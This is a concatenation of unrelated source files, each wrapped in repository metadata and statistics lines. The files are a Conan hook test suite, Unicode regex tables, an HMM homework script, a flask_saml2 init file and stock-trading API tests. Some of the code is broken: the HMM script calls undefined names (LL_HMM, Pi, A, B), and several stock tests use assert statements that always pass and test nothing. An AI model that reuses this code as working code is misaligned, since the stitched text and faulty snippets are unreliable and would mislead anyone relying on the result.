845c92a1b7da515f9630a2118170f196edf30378
[ "MIT" ]
13
2019-05-06T15:23:03.000Z
2019-07-02T08:12:59.000Z
tests/test_hooks/conan-center/test_conan-center.py
lasote/hooks
845c92a1b7da515f9630a2118170f196edf30378
[ "MIT" ]
1
2019-05-31T12:40:32.000Z
2019-05-31T12:40:32.000Z
# coding=utf-8 import os import textwrap from conans import tools from tests.utils.test_cases.conan_client import ConanClientTestCase class ConanCenterTests(ConanClientTestCase): conanfile_base = textwrap.dedent("""\ from conans import ConanFile class AConan(ConanFile): url = "fake_url.com" license = "fake_license" description = "whatever" exports_sources = "header.h" {placeholder} def package(self): self.copy("*", dst="include") """) conanfile_header_only_with_settings = textwrap.dedent("""\ from conans import ConanFile class AConan(ConanFile): url = "fake_url.com" license = "fake_license" description = "whatever" exports_sources = "header.h" settings = "os", "compiler", "arch", "build_type" def package(self): self.copy("*", dst="include") def package_id(self): self.info.header_only() """) conanfile_header_only = conanfile_base.format(placeholder='') conanfile_installer = conanfile_base.format(placeholder='settings = "os_build"') conanfile = conanfile_base.format(placeholder='settings = "os"') def _get_environ(self, **kwargs): kwargs = super(ConanCenterTests, self)._get_environ(**kwargs) kwargs.update({'CONAN_HOOKS': os.path.join(os.path.dirname(__file__), '..', '..', '..', 'hooks', 'conan-center')}) return kwargs def test_no_duplicated_messages(self): tools.save('conanfile.py', content=self.conanfile) output = self.conan(['create', '.', 'name/version@jgsogo/test']) self.assertIn("ERROR: [PACKAGE LICENSE (KB-H012)] No 'licenses' folder found in package", output) self.assertNotIn("[PACKAGE LICENSE (KB-H012)] OK", output) def test_conanfile(self): tools.save('conanfile.py', content=self.conanfile) output = self.conan(['create', '.', 'name/version@jgsogo/test']) self.assertIn("[RECIPE METADATA (KB-H003)] OK", output) self.assertIn("[HEADER_ONLY, NO COPY SOURCE (KB-H005)] OK", output) self.assertIn("[FPIC OPTION (KB-H006)] OK", output) self.assertIn("[FPIC MANAGEMENT (KB-H007)] 'fPIC' option not found", output) self.assertIn("[VERSION RANGES (KB-H008)] OK", output) self.assertIn("[LIBCXX MANAGEMENT (KB-H011)] OK", output) self.assertIn("ERROR: [MATCHING CONFIGURATION (KB-H014)] Empty package", output) self.assertIn("ERROR: [PACKAGE LICENSE (KB-H012)] No 'licenses' folder found in package", output) self.assertIn("[DEFAULT PACKAGE LAYOUT (KB-H013)] OK", output) self.assertIn("[SHARED ARTIFACTS (KB-H015)] OK", output) def test_conanfile_header_only(self): tools.save('conanfile.py', content=self.conanfile_header_only) tools.save('header.h', content="") output = self.conan(['create', '.', 'name/version@jgsogo/test']) self.assertIn("[RECIPE METADATA (KB-H003)] OK", output) self.assertIn("[HEADER_ONLY, NO COPY SOURCE (KB-H005)] This recipe is a header only library", output) self.assertIn("[FPIC OPTION (KB-H006)] OK", output) self.assertIn("[FPIC MANAGEMENT (KB-H007)] 'fPIC' option not found", output) self.assertIn("[VERSION RANGES (KB-H008)] OK", output) self.assertIn("[LIBCXX MANAGEMENT (KB-H011)] OK", output) self.assertIn("[MATCHING CONFIGURATION (KB-H014)] OK", output) self.assertNotIn("ERROR: [MATCHING CONFIGURATION (KB-H014)]", output) self.assertIn("ERROR: [PACKAGE LICENSE (KB-H012)] No 'licenses' folder found in package", output) self.assertIn("[DEFAULT PACKAGE LAYOUT (KB-H013)] OK", output) self.assertIn("[SHARED ARTIFACTS (KB-H015)] OK", output) def test_conanfile_header_only_with_settings(self): tools.save('conanfile.py', content=self.conanfile_header_only_with_settings) tools.save('header.h', content="") output = self.conan(['create', '.', 'name/version@jgsogo/test']) self.assertIn("[RECIPE METADATA (KB-H003)] OK", output) self.assertIn("[HEADER_ONLY, NO COPY SOURCE (KB-H005)] OK", output) self.assertIn("[FPIC OPTION (KB-H006)] OK", output) self.assertIn("[FPIC MANAGEMENT (KB-H007)] 'fPIC' option not found", output) self.assertIn("[VERSION RANGES (KB-H008)] OK", output) self.assertIn("[LIBCXX MANAGEMENT (KB-H011)] OK", output) self.assertIn("[MATCHING CONFIGURATION (KB-H014)] OK", output) self.assertIn("ERROR: [PACKAGE LICENSE (KB-H012)] No 'licenses' folder found in package", output) self.assertIn("[DEFAULT PACKAGE LAYOUT (KB-H013)] OK", output) self.assertIn("[SHARED ARTIFACTS (KB-H015)] OK", output) def test_conanfile_installer(self): tools.save('conanfile.py', content=self.conanfile_installer) output = self.conan(['create', '.', 'name/version@jgsogo/test']) self.assertIn("[RECIPE METADATA (KB-H003)] OK", output) self.assertIn("[HEADER_ONLY, NO COPY SOURCE (KB-H005)] OK", output) self.assertIn("[FPIC OPTION (KB-H006)] OK", output) self.assertIn("[FPIC MANAGEMENT (KB-H007)] 'fPIC' option not found", output) self.assertIn("[VERSION RANGES (KB-H008)] OK", output) self.assertIn("[LIBCXX MANAGEMENT (KB-H011)] OK", output) self.assertIn("ERROR: [MATCHING CONFIGURATION (KB-H014)] Empty package", output) self.assertIn("ERROR: [MATCHING CONFIGURATION (KB-H014)] Packaged artifacts does not match", output) self.assertIn("ERROR: [PACKAGE LICENSE (KB-H012)] No 'licenses' folder found in package", output) self.assertIn("[DEFAULT PACKAGE LAYOUT (KB-H013)] OK", output) self.assertIn("[SHARED ARTIFACTS (KB-H015)] OK", output)
51
109
0.634825
700
5,967
5.33
0.164286
0.117931
0.178504
0.128652
0.835165
0.805414
0.783972
0.766819
0.747789
0.747789
0
0.02851
0.2182
5,967
116
110
51.439655
0.771275
0.002011
0
0.676768
0
0
0.489501
0.024022
0
0
0
0
0.444444
1
0.060606
false
0
0.060606
0
0.191919
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
85d79f33d8de078963d01b26ef2926d37efc7c2f
5,256
py
Python
termprop/db/unicode6_2/cjk.py
saitoha/termprop
c5f67057c50e7c5541299423a6a5bf6f6c111272
[ "MIT" ]
1
2018-09-09T07:56:28.000Z
2018-09-09T07:56:28.000Z
termprop/db/unicode6_2/cjk.py
saitoha/termprop
c5f67057c50e7c5541299423a6a5bf6f6c111272
[ "MIT" ]
null
null
null
termprop/db/unicode6_2/cjk.py
saitoha/termprop
c5f67057c50e7c5541299423a6a5bf6f6c111272
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # ***** BEGIN LICENSE BLOCK ***** # Copyright (C) 2012-2014, Hayaki Saito # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. # # ***** END LICENSE BLOCK ***** import re pattern_fullwidth = re.compile(u'^[\u00a1\u00a4\u00a7\u00a8\u00aa\u00ad\u00ae\u00b0-\u00b4\u00b6-\u00ba\u00bc-\u00bf\u00c6\u00d0\u00d7\u00d8\u00de-\u00e1\u00e6\u00e8-\u00ea\u00ec\u00ed\u00f0\u00f2\u00f3\u00f7-\u00fa\u00fc\u00fe\u0101\u0111\u0113\u011b\u0126\u0127\u012b\u0131-\u0133\u0138\u013f-\u0142\u0144\u0148-\u014b\u014d\u0152\u0153\u0166\u0167\u016b\u01ce\u01d0\u01d2\u01d4\u01d6\u01d8\u01da\u01dc\u0251\u0261\u02c4\u02c7\u02c9-\u02cb\u02cd\u02d0\u02d8-\u02db\u02dd\u02df\u0391-\u03a1\u03a3-\u03a9\u03b1-\u03c1\u03c3-\u03c9\u0401\u0410-\u044f\u0451\u1100-\u115f\u2010\u2013-\u2016\u2018\u2019\u201c\u201d\u2020-\u2022\u2024-\u2027\u2030\u2032\u2033\u2035\u203b\u203e\u2074\u207f\u2081-\u2084\u20ac\u2103\u2105\u2109\u2113\u2116\u2121\u2122\u2126\u212b\u2153\u2154\u215b-\u215e\u2160-\u216b\u2170-\u2179\u2189\u2190-\u2199\u21b8\u21b9\u21d2\u21d4\u21e7\u2200\u2202\u2203\u2207\u2208\u220b\u220f\u2211\u2215\u221a\u221d-\u2220\u2223\u2225\u2227-\u222c\u222e\u2234-\u2237\u223c\u223d\u2248\u224c\u2252\u2260\u2261\u2264-\u2267\u226a\u226b\u226e\u226f\u2282\u2283\u2286\u2287\u2295\u2299\u22a5\u22bf\u2312\u2329\u232a\u2460-\u24e9\u24eb-\u254b\u2550-\u2573\u2580-\u258f\u2592-\u2595\u25a0\u25a1\u25a3-\u25a9\u25b2\u25b3\u25b6\u25b7\u25bc\u25bd\u25c0\u25c1\u25c6-\u25c8\u25cb\u25ce-\u25d1\u25e2-\u25e5\u25ef\u2605\u2606\u2609\u260e\u260f\u2614\u2615\u261c\u261e\u2640\u2642\u2660\u2661\u2663-\u2665\u2667-\u266a\u266c\u266d\u266f\u269e\u269f\u26be\u26bf\u26c4-\u26cd\u26cf-\u26e1\u26e3\u26e8-\u26ff\u273d\u2757\u2776-\u277f\u2b55-\u2b59\u2e80-\u2e99\u2e9b-\u2ef3\u2f00-\u2fd5\u2ff0-\u2ffb\u3000-\u3029\u302e-\u303e\u3041-\u3096\u309b-\u30ff\u3105-\u312d\u3131-\u318e\u3190-\u31ba\u31c0-\u31e3\u31f0-\u321e\u3220-\u32fe\u3300-\u4dbf\u4e00-\ua48c\ua490-\ua4c6\ua960-\ua97c\uf900-\ufa6d\ufa70-\ufad9\ufe10-\ufe19\ufe30-\ufe52\ufe54-\ufe66\ufe68-\ufe6b\uff01-\uff60\uffe0-\uffe6\ufffd\uac00-\ud7a3\ue000-\uf8ff\ufa6e\ufa6f\ufada]$') pattern_combining = re.compile(u'^[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0600-\u0604\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dd\u06df-\u06e4\u06e7\u06e8\u06ea-\u06ed\u070f\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08e4-\u08fe\u0900-\u0902\u093a\u093c\u0941-\u0948\u094d\u0951-\u0957\u0962\u0963\u0981\u09bc\u09c1-\u09c4\u09cd\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b62\u0b63\u0b82\u0bc0\u0bcd\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc6\u0ccc\u0ccd\u0ce2\u0ce3\u0d41-\u0d44\u0d4d\u0d62\u0d63\u0dca\u0dd2-\u0dd4\u0dd6\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u1160-\u11ff\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b4\u17b5\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1bab\u1be6\u1be8\u1be9\u1bed\u1bef-\u1bf1\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1cf4\u1dc0-\u1de6\u1dfc-\u1dff\u200b-\u200f\u202a-\u202e\u2060-\u2064\u206a-\u206f\u20d0-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302d\u3099\u309a\ua66f-\ua672\ua674-\ua67d\ua69f\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uaaec\uaaed\uaaf6\uabe5\uabe8\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\ufeff\ufff9]$')
175.2
2,079
0.783676
823
5,256
5.00243
0.902795
0.021375
0.006315
0
0
0
0
0
0
0
0
0.358039
0.045091
5,256
29
2,080
181.241379
0.462243
0.225266
0
0
0
0.666667
0.973314
0.973314
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
1
1
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
1
0
0
0
0
8
c836100a6fc1a4d049361bbae51356480bc6462d
546
py
Python
src/HMM/Problems/HW9Prob2.py
davidov541/HiddenMarkovModels
eb0d8fb0452be98cffadfeddc6a87e2babbfa7c7
[ "Apache-2.0" ]
null
null
null
src/HMM/Problems/HW9Prob2.py
davidov541/HiddenMarkovModels
eb0d8fb0452be98cffadfeddc6a87e2babbfa7c7
[ "Apache-2.0" ]
null
null
null
src/HMM/Problems/HW9Prob2.py
davidov541/HiddenMarkovModels
eb0d8fb0452be98cffadfeddc6a87e2babbfa7c7
[ "Apache-2.0" ]
null
null
null
from math import log def HW9Prob2(): Pi1 = [0.5, 0.5] Pi2 = [0.5, 0.5] A1 = [[0.9, 0.1], [0.1, 0.9]] A2 = [[0.9, 0.1], [0.1, 0.9]] B1 = [[1.0/6.0, 1.0/6.0, 1.0/6.0, 1.0/6.0, 1.0/6.0, 1.0/6.0], [0.1, 0.1, 0.1, 0.1, 0.1, 0.5]] B2 = [[1.0/6.0, 1.0/6.0, 1.0/6.0, 1.0/6.0, 1.0/6.0, 1.0/6.0], [1.0/6.0, 1.0/6.0, 1.0/6.0, 1.0/6.0, 1.0/6.0, 1.0/6.0]] O = [6, 6, 6, 6, 2, 1, 5, 3, 2, 6, 3, 4, 5, 6, 2, 1, 4, 3, 2, 6] score1 = LL_HMM(Pi, A, B, O) score2 = LL_HMM(Pi, A, B, O) print "Score: %f" % log(score1/score2)
39
121
0.423077
161
546
1.42236
0.192547
0.235808
0.327511
0.31441
0.519651
0.519651
0.432314
0.432314
0.362445
0.31441
0
0.339806
0.245421
546
13
122
42
0.216019
0
0
0
0
0
0.016484
0
0
0
0
0
0
0
null
null
0
0.083333
null
null
0.083333
0
0
1
null
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
c0b5ac30d9912d427c397a616df912549b6174c4
127
py
Python
flask_saml2/__init__.py
morty/flask-saml2
f89dfd25caf7b4d47b10da2b45faa2904a8bd2f4
[ "MIT" ]
null
null
null
flask_saml2/__init__.py
morty/flask-saml2
f89dfd25caf7b4d47b10da2b45faa2904a8bd2f4
[ "MIT" ]
null
null
null
flask_saml2/__init__.py
morty/flask-saml2
f89dfd25caf7b4d47b10da2b45faa2904a8bd2f4
[ "MIT" ]
null
null
null
from .version import version_info as VERSION from .version import version_str as __version__ __all__ = [VERSION, __version__]
25.4
47
0.818898
17
127
5.294118
0.411765
0.244444
0.377778
0.533333
0
0
0
0
0
0
0
0
0.133858
127
4
48
31.75
0.818182
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
7
23b7cc1ef8a4d6c84ab4e817b9440d313f83621f
15,575
py
Python
tests/test_stocks.py
KloudTrader/libkloudtrader
015e2779f80ba2de93be9fa6fd751412a9d5f492
[ "Apache-2.0" ]
11
2019-01-16T16:10:09.000Z
2021-03-02T00:59:17.000Z
tests/test_stocks.py
KloudTrader/kloudtrader
015e2779f80ba2de93be9fa6fd751412a9d5f492
[ "Apache-2.0" ]
425
2019-07-10T06:59:49.000Z
2021-01-12T05:32:14.000Z
tests/test_stocks.py
KloudTrader/kloudtrader
015e2779f80ba2de93be9fa6fd751412a9d5f492
[ "Apache-2.0" ]
6
2019-03-15T16:25:06.000Z
2021-05-03T10:02:13.000Z
'''This module contains tests for stocks module''' import sys import datetime sys.path.append('./libkloudtrader') import pandas import libkloudtrader.stocks as stocks class TestLatestPriceInfo: def test_type(self): """Test return type""" data = stocks.latest_price_info('AAPl') assert isinstance(data, dict) def test_pandas_type(self): """Test return type""" data = stocks.latest_price_info('AAPl', dataframe=True) assert isinstance(data, pandas.DataFrame) def test_data(self): """Test if data is correct""" data = stocks.latest_price_info('AAPl') assert 'last','change' in data def test_multiple_symbols(self): """Test multiple symbols as input""" data=stocks.latest_price_info('AAPL,SPY,GOOG,GE') for i in data: assert 'last','change' in data class TestCreateSession: def test_return_type(self): """Test return type and data""" data=stocks.create_session() assert isinstance(data,str) class TestLatestQuote: def test_return_type_and_data(self): """Test return type and data""" data=stocks.latest_quote('aapl') assert isinstance(data,dict) and 'bidsz','ask' in data def test_wrong_symbol_input(self): """Test non existing symbol as input""" pass class TestLatestTrade: def test_return_type_and_data(self): """Test return type and data""" data=stocks.latest_trade('aapl') assert isinstance(data,dict) and 'last','type' in data def test_wrong_symbol_input(self): """Test non existing symbol as input""" pass class TestIntradaySummary: def test_return_type_and_data(self): """Test return type and data""" data=stocks.intraday_summary('aapl') assert isinstance(data,dict) and 'open','low' in data def test_wrong_symbol_input(self): """Test non existing symbol as input""" pass class TestOHLCV: def test_type(self): """Test return type""" data = stocks.ohlcv('AAPl',start="2018-01-01",end="2019-01-01",dataframe=False) assert isinstance(data, dict) def test_pandas_type(self): """Test return Type""" data=stocks.ohlcv('AAPl',start="2018-01-01",end="2019-01-01") assert isinstance(data, pandas.DataFrame) def test_data(self): """Test data returned""" data=stocks.ohlcv('AAPl',start="2018-01-01",end="2019-01-01",dataframe=False) assert 'day' in data['history'] def test_wrong_date(self): """Exception for wrong date""" pass def test_multiple_symbols(self): """No data retured with multiple symbols""" pass def test_number_returned_data_points(self): """Test number of data of points returned based on start and end""" pass def test_fake_symbol(self): """Test when a symbol is given that does not exists""" pass ''' class TesthistoricalTickData: def setup(self): self.start=datetime.datetime.today().strftime("%Y-%m-%d %H:%M:%S") d = datetime.datetime.today() - datetime.timedelta(days=3) self.end=d.strftime("%Y-%m-%d %H:%M:%S") def test_type(self): """Test return type""" data = stocks.tick_data('AAPL',start=self.start,end=self.end) assert isinstance(data, dict) def test_pandas_type(self): """Test return Type""" data=stocks.tick_data('AAPL',start=self.start,end=self.end,dataframe=True) assert isinstance(data, pandas.DataFrame) def test_data(self): """Test data returned""" data=stocks.tick_data('AAPL',start=self.start,end=self.end) assert 'data' in data['series'] def test_date_older_than_allowed(self): """Test for date input older than 5 days.""" pass def test_multiple_symbols(self): """No data retured with multiple symbols""" pass def test_number_returned_data_points(self): """Test number of data of points returned based on start and end""" pass def test_fake_symbol(self): """Test when a symbol is given that does not exists""" pass class Test1minBarData: def setup(self): self.start=datetime.datetime.today().strftime("%Y-%m-%d %H:%M:%S") d = datetime.datetime.today() - datetime.timedelta(days=3) self.end=d.strftime("%Y-%m-%d %H:%M:%S") print(self.start) def test_type(self): """Test return type""" data = stocks.min1_bar_data('AAPL',start=self.start,end=self.end) assert isinstance(data, dict) def test_pandas_type(self): """Test return Type""" data=stocks.min1_bar_data('AAPL',start=self.start,end=self.end,dataframe=True) assert isinstance(data, pandas.DataFrame) def test_data(self): """Test data returned""" data=stocks.min1_bar_data('AAPL',start=self.start,end=self.end) assert 'data' in data['series'] def test_date_older_than_allowed(self): """Test for date input older than 20 days with open filter and 10 days with all filter""" pass def test_multiple_symbols(self): """No data retured with multiple symbols""" pass def test_number_returned_data_points(self): """Test number of data of points returned based on start and end""" pass def test_fake_symbol(self): """Test when a symbol is given that does not exists""" pass class Test5minBarData: def setup(self): self.start=datetime.datetime.today().strftime("%Y-%m-%d %H:%M:%S") d = datetime.datetime.today() - datetime.timedelta(days=8) self.end=d.strftime("%Y-%m-%d %H:%M:%S") def test_type(self): """Test return type""" data = stocks.min5_bar_data('AAPL',start=self.start,end=self.end) assert isinstance(data, dict) def test_pandas_type(self): """Test return Type""" data=stocks.min5_bar_data('AAPL',start=self.start,end=self.end,dataframe=True) assert isinstance(data, pandas.DataFrame) def test_data(self): """Test data returned""" data=stocks.min5_bar_data('AAPL',start=self.start,end=self.end) assert 'data' in data['series'] def test_date_older_than_allowed(self): """Test for date input older than 40 days with open filter and 18 days with all filter""" pass def test_multiple_symbols(self): """No data retured with multiple symbols""" pass def test_number_returned_data_points(self): """Test number of data of points returned based on start and end""" pass def test_fake_symbol(self): """Test when a symbol is given that does not exists""" pass class Test15minBarData: def setup(self): self.start=datetime.datetime.today().strftime("%Y-%m-%d %H:%M:%S") d = datetime.datetime.today() - datetime.timedelta(days=10) self.end=d.strftime("%Y-%m-%d %H:%M:%S") def test_type(self): """Test return type""" data = stocks.min15_bar_data('AAPL',start=self.start,end=self.end) assert isinstance(data, dict) def test_pandas_type(self): """Test return Type""" data=stocks.min15_bar_data('AAPL',start=self.start,end=self.end,dataframe=True) assert isinstance(data, pandas.DataFrame) def test_data(self): """Test data returned""" data=stocks.min15_bar_data('AAPL',start=self.start,end=self.end) assert 'data' in data['series'] def test_date_older_than_allowed(self): """Test for date input older than 40 days with open filter and 18 days with all filter""" pass def test_multiple_symbols(self): """No data retured with multiple symbols""" pass def test_number_returned_data_points(self): """Test number of data of points returned based on start and end""" pass def test_fake_symbol(self): """Test when a symbol is given that does not exists""" pass ''' class TestStreamLiveQuotes: def test_return_type_and_data(self): """Test return type and data""" for data in stocks.stream_live_quotes('aapl'): assert isinstance(data,dict) and 'bidsz','ask' in data break def test_wrong_symbol_input(self): """Test non existing symbol as input""" pass class TestStreamLiveTrades: def test_return_type_and_data(self): """Test return type and data""" for data in stocks.stream_live_trades('aapl'): assert isinstance(data,dict) and 'last','type' in data break def test_wrong_symbol_input(self): """Test non existing symbol as input""" pass class TestStreamLiveSummary: def test_return_type_and_data(self): """Test return type and data""" for data in stocks.stream_live_summary('aapl'): assert isinstance(data,dict) and 'open','low' in data break def test_wrong_symbol_input(self): """Test non existing symbol as input""" pass class TestListOfCompanies: ''' def test_return_type(self): """Test return Type""" list_of_exchanges=['all','nyse','nasdaq','amex'] for x in list_of_exchanges: data=stocks.list_of_companies(x) assert isinstance(data,pandas.DataFrame) ''' def test_data(self): """Test columns in the returned dataframe""" pass class TestIntradayStatus: def test_return_type(self): """Test return type""" data=stocks.intraday_status() assert isinstance(data,dict) def test_data(self): """Test return data""" data=stocks.intraday_status() assert 'date' and 'next_state' in data class TestMarketCalendar: def test_return_type(self): """Test return type""" data=stocks.market_calendar(7,2019) assert isinstance(data,dict) def test_wrong_inputs(self): """Test wrong inputs""" pass class TestSymbolSearch: def test_return_type(self): """Test return type""" data=stocks.symbol_search('apple') assert isinstance(data,dict) def test_wrong_input(self): """Test wrong input""" pass class TestSymbolLookup: def test_return_type(self): """Test return type""" data=stocks.symbol_lookup('aap') assert isinstance(data,dict) def test_wrong_input(self): """Test wrong input""" pass class TestShortableSecurities: def test_return_type(self): """Test return type""" data=stocks.shortable_securities(dataframe=False) assert isinstance(data,dict) def test_pandas_return_type(self): """Test datframe = True return type""" data=stocks.shortable_securities() assert isinstance(data,pandas.DataFrame) def test_data(self): """Test returned data""" data=stocks.shortable_securities(dataframe=False) assert 'security' in data['securities'] class TestCheckIfShortable: def test_return_type_and_return_data_for_right_symbol(self): """Test return type and data""" data=stocks.check_if_shortable('GOOG') assert isinstance(data,bool) and data==True def test_return_type_and_return_data_for_wrong_symbol(self): """Test return type and data""" data=stocks.check_if_shortable('RTADSS45') assert isinstance(data,bool) and data==False class TestCompanyFundamentals: def test_return_type(self): """Test return type and data""" data=stocks.company_fundamentals('AAPL') assert isinstance(data,list) def test_wrong_symbol(self): """Test wrong symbol""" pass class TestCorporateCalendar: def test_return_type(self): """Test return type and data""" data=stocks.corporate_calendar('AAPL') assert isinstance(data,list) def test_wrong_symbol(self): """Test wrong symbol""" pass class TestCorporateActions: def test_return_type(self): """Test return type and data""" data=stocks.dividend_information('AAPL') assert isinstance(data,list) def test_wrong_symbol(self): """Test wrong symbol""" pass class TestDividendInformation: def test_return_type(self): """Test return type and data""" data=stocks.dividend_information('AAPL') assert isinstance(data,list) def test_wrong_symbol(self): """Test wrong symbol""" pass class TestCorporateActions: def test_return_type(self): """Test return type and data""" data=stocks.corporate_actions('AAPL') assert isinstance(data,list) def test_wrong_symbol(self): """Test wrong symbol""" pass class TestOperationRatio: def test_return_type(self): """Test return type and data""" data=stocks.operation_ratio('AAPL') assert isinstance(data,list) def test_wrong_symbol(self): """Test wrong symbol""" pass class TestCorporateFiancials: def test_return_type(self): """Test return type and data""" data=stocks.corporate_financials('AAPL') assert isinstance(data,list) def test_wrong_symbol(self): """Test wrong symbol""" pass class TestPriceStatistics: def test_return_type(self): """Test return type and data""" data=stocks.price_statistics('AAPL') assert isinstance(data,list) def test_wrong_symbol(self): """Test wrong symbol""" pass class TestBuyPreview: pass class TestBuyToCoverPreview: pass class TestSellPreview: pass class TestSellShortPreview: pass class TestBuy: pass class TestBuyToCover: pass class TestSell: pass class TestShortSell: pass class TestChangeOrder: pass class TestCancelOrder: pass class TestUserProfile: def test_return_type(self): '''test return type''' data=stocks.user_profile() assert isinstance(data,dict) def test_returned_data(self): '''test returned data''' data=stocks.user_profile() assert 'account'in data['profile'] class TestAccountBalance: def test_return_type(self): '''test return type''' data=stocks.account_balance() assert isinstance(data,dict) def test_returned_data(self): '''test returned data''' data=stocks.account_balance() assert 'option_short_value','equity' in data['balances'] class TestAccountHistory: def test_return_type(self): '''test return type''' data=stocks.account_history() assert isinstance(data,dict) def test_returned_data(self): '''test returned data''' data=stocks.account_history() assert 'event' in data['history'] class TestAccountPositions: def test_return_type(self): '''test return type''' data=stocks.account_positions() assert isinstance(data,dict) class TestAccountClosedPositions: def test_return_type(self): '''test return type''' data=stocks.account_closed_positions() assert isinstance(data,dict) class TestAccountOrders: def test_return_type(self): '''test return type''' data=stocks.account_orders() assert isinstance(data,dict)
29.837165
97
0.63801
1,960
15,575
4.918878
0.110204
0.066798
0.101649
0.076548
0.823359
0.80168
0.777098
0.761436
0.750959
0.743491
0
0.007595
0.24764
15,575
521
98
29.894434
0.815156
0.114543
0
0.623894
0
0
0.043112
0
0
0
0
0
0.181416
1
0.278761
false
0.141593
0.017699
0
0.473451
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
8
f1b76c728c86fd410ed13e0870c6e404d3d1df59
2,813
py
Python
src/bsdfs/tests/test_rough_conductor.py
tizian/layer-laboratory
008cc94b76127e9eb74227fcd3d0145da8ddec30
[ "CNRI-Python" ]
7
2020-07-24T03:19:59.000Z
2022-03-30T10:56:12.000Z
src/bsdfs/tests/test_rough_conductor.py
tizian/layer-laboratory
008cc94b76127e9eb74227fcd3d0145da8ddec30
[ "CNRI-Python" ]
1
2021-04-07T22:30:23.000Z
2021-04-08T00:55:36.000Z
src/bsdfs/tests/test_rough_conductor.py
tizian/layer-laboratory
008cc94b76127e9eb74227fcd3d0145da8ddec30
[ "CNRI-Python" ]
2
2020-06-08T08:25:09.000Z
2021-04-05T22:13:08.000Z
